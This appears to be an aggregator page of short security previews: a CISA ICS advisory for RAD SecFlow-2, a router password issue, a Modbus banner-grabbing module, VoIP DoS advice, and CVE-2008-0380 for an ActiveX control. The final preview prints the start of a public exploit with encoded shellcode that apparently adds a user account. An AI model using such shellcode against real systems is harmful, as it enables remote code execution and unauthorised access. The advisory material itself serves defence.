CISA Releases One Industrial Control Systems Advisory

CISA released one Industrial Control Systems ICS advisory on June 18, 2024. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS. ICSA-24-170-01 RAD Data Communications SecFlow-2 CISA encourages users and administrators to review...

RAD Data Communications SecFlow-2

View CSAF 1. EXECUTIVE SUMMARY CVSS v4 8.7 ATTENTION : Exploitable remotely/low attack complexity/public exploits are available Vendor : RAD Data Communications Equipment : SecFlow-2 Vulnerability : Path Traversal 2. RISK EVALUATION Successful exploitation of this vulnerability could allow an...

Weak Password Vulnerability in NBR Routers at Riptide Networks Inc.

Riptide Networks, Inc. is a data communications solutions provider. A weak password vulnerability exists in the NBR routers of Ruijie Networks Corporation, which can be exploited by attackers to obtain sensitive information...

Modbus Banner Grabbing

This module grabs the banner of any device running the Modbus protocol by sending a request with Modbus Function Code 43 Read Device Identification. Modbus is a data communications protocol originally published by Modicon now Schneider Electric in 1979 for use with its programmable logic...

Security Best Practice: Protect Yourself from VoIP Denial of Service Vulnerabilities

VoIP opens voice communications to the same kinds of security threats that imperil data communications. Attacks on data communications can come through the IP voice infrastructure and vice versa. Denial of service attacks targeting weak VoIP elements could flood the network with voice traffic,...

Buffer overflow

Buffer overflow in the Digital Data Communications RtspVaPgCtrl ActiveX control RtspVapgDecoder.dll 1.1.0.29 allows remote attackers to execute arbitrary code via a long MP4Prefix property...

CVE-2008-0380: Improper Restriction of Operations within the Bounds of a Memory Buffer

Buffer overflow in the Digital Data Communications RtspVaPgCtrl ActiveX control RtspVapgDecoder.dll 1.1.0.29 allows remote attackers to execute arbitrary code via a long MP4Prefix property...

Digital Data Communications (RtspVaPgCtrl) Remote BOF Exploit

No description provided by source. !-- Digital Data Communications RtspVaPgCtrl Class RtspVapgDecoder.dll 1.1.0.29 remote buffer overflow ie7/xp sp2 You may ask why I'm interested in theese untested/unpatched codecs, oh, well, I'm preparing a live scanner for clsid's, I mean not a fuzzer a...

Digital Data Communications - 'RtspVaPgCtrl' Class Remote Buffer Overflow

///add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...